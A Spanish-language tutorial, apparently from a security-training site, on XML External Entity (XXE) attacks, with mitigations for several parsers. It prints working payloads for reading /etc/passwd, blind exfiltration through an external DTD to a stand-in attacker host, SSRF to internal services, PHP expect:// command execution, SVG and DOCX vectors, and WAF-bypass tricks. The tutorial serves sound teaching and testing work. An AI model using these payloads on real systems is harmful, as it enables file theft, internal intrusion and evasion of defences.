Respuesta rápida
XXE (XML External Entity) ocurre cuando un parser XML procesa entidades externas declaradas por el atacante. Permite leer archivos arbitrarios del servidor, SSRF a la red interna, y a veces RCE (PHP expect://). Endpoints típicos: SOAP APIs, SAML callbacks, importadores de configuración (XML/Office docs), conversores. Aunque XML está en declive, sigue presente en sistemas legacy y en SAML.
Cómo funciona
XML soporta declarar entidades externas que el parser resuelve cargando recursos. Si el parser está mal configurado:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
El parser resuelve &xxe; cargando el contenido de /etc/passwd y lo devuelve en el response — si el response refleja el campo <data>, lees el archivo.
Variantes
1. XXE clásica con file read
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<request><user>&xxe;</user></request>
Funciona si el response devuelve el valor del campo donde se inyecta la entidad.
2. XXE blind via DTD externa (OOB)
Cuando el response no refleja el contenido pero el parser puede hacer requests:
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "https://attacker.tld/evil.dtd">
%ext;
]>
<root></root>
evil.dtd en el servidor del atacante:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://attacker.tld/?leak=%file;'>">
%eval;
%exfil;
El parser:
- Carga la DTD externa.
- Lee
/etc/passwden%file. - Define
%exfilcon un GET a attacker.tld con el contenido como query param. - Resuelve
%exfil→ request HTTP llega a attacker con el contenido.
Burp Collaborator es perfecto para hostear DTDs maliciosas y ver los hits.
3. SSRF via XXE
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">]>
<root>&xxe;</root>
El parser hace HTTP request al endpoint interno desde el server. El response (o parte) puede acabar reflejado.
4. RCE en PHP (legacy)
PHP con expect wrapper habilitado:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
Ejecuta id en el shell. Requiere extension expect cargada (raro, pero existe en setups legacy).
Endpoints donde buscar
SAML
SAML es XML por diseño. Cualquier endpoint /saml/login, /saml/callback, /auth/sso que procese assertions XML enviadas por el cliente es candidato. La SAML response es enviada por el browser tras el IdP — si el SP la procesa con un parser inseguro, XXE.
SOAP APIs
Webservices SOAP procesan XML. Endpoints *.asmx, *.svc, *.wsdl, paths con /soap, /services, /api/v1/soap.
Importadores de configuración
- Importar
.docx,.xlsx,.pptx(todos contienen XML internamente). - Importar SVG (XML-based).
- Importar OPML, RSS, GPX.
- Importar configuraciones (
.config,.xml).
Office documents (DOCX/XLSX/PPTX)
Estos formatos son ZIP de XMLs. Subir un docx con [Content_Types].xml modificado para incluir DTD externa puede triggear XXE en el converter del backend.
docx_zip/
├── [Content_Types].xml ← modificar aquí
├── word/
│ └── document.xml
└── _rels/
SVG uploads
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
Si la app convierte SVG → PNG con ImageMagick u otro parser que respeta entidades externas, lee el archivo.
Bypasses de WAFs
Encoding alternativo
<?xml version="1.0" encoding="UTF-16"?>
Si el WAF solo escanea UTF-8, UTF-16 (con BOM) puede bypasarlo.
Parameter entities
<!ENTITY % start "<!ENTITY xxe">
<!ENTITY % end " SYSTEM 'file:///etc/passwd'>">
%start;%end;
Construir la entity dinámicamente para evadir detección de string.
CDATA + entity
<![CDATA[<!ENTITY xxe SYSTEM "file:///etc/passwd">]]>
A veces parseado por el motor pero filtrado por el WAF.
Detección rápida
Test mínimo: enviar XML con DTD que apunte a Collaborator:
<!DOCTYPE foo [<!ENTITY % ext SYSTEM "https://yourcollab.collab.tld/test"> %ext;]>
<root></root>
Si llega un hit a Collaborator → el parser resuelve external entities → posible XXE explotable.
Mitigación correcta
- Deshabilitar resolución de entidades externas en cada parser:
- Java:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). - Python
lxml:parser = etree.XMLParser(resolve_entities=False). - PHP:
libxml_disable_entity_loader(true)(deprecated en PHP 8 — ya es default). - .NET:
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.
- Java:
- Whitelist de tipos aceptados (no aceptar XML si no se necesita).
- WAF como segunda línea, nunca primera.
Hunting checklist
- ¿El endpoint acepta
Content-Type: application/xmlotext/xml? - ¿Hay imports de docx/xlsx/pptx/svg/opml/gpx?
- ¿Hay
/saml/,/soap/, endpoints SOAP-style? - ¿Probar Collaborator-based detection con DTD externa?
- ¿Hay errores XML verbose si mando malformado?
- ¿
<!DOCTYPE>se permite en el body? - ¿Office docs procesados server-side (preview, conversion, OCR)?
Labs relacionados
Practica XXE clásica, blind via DTD externa y SSRF interna a través de XML: labs de XXE.
Practica esto en un lab
Xxe
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
Next.js attack surface 2026 — middleware bypass, SSRF interno, RSC abuse
Vulnerabilidades específicas de Next.js 13-16: middleware bypass con headers manipulados, SSRF en API routes, RSC (React Server Components) data leak, image optimization SSRF.
SSRF — bypasses completos: localhost, IPv6, decimal, DNS y cloud metadata
11 técnicas para bypassear validación SSRF: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.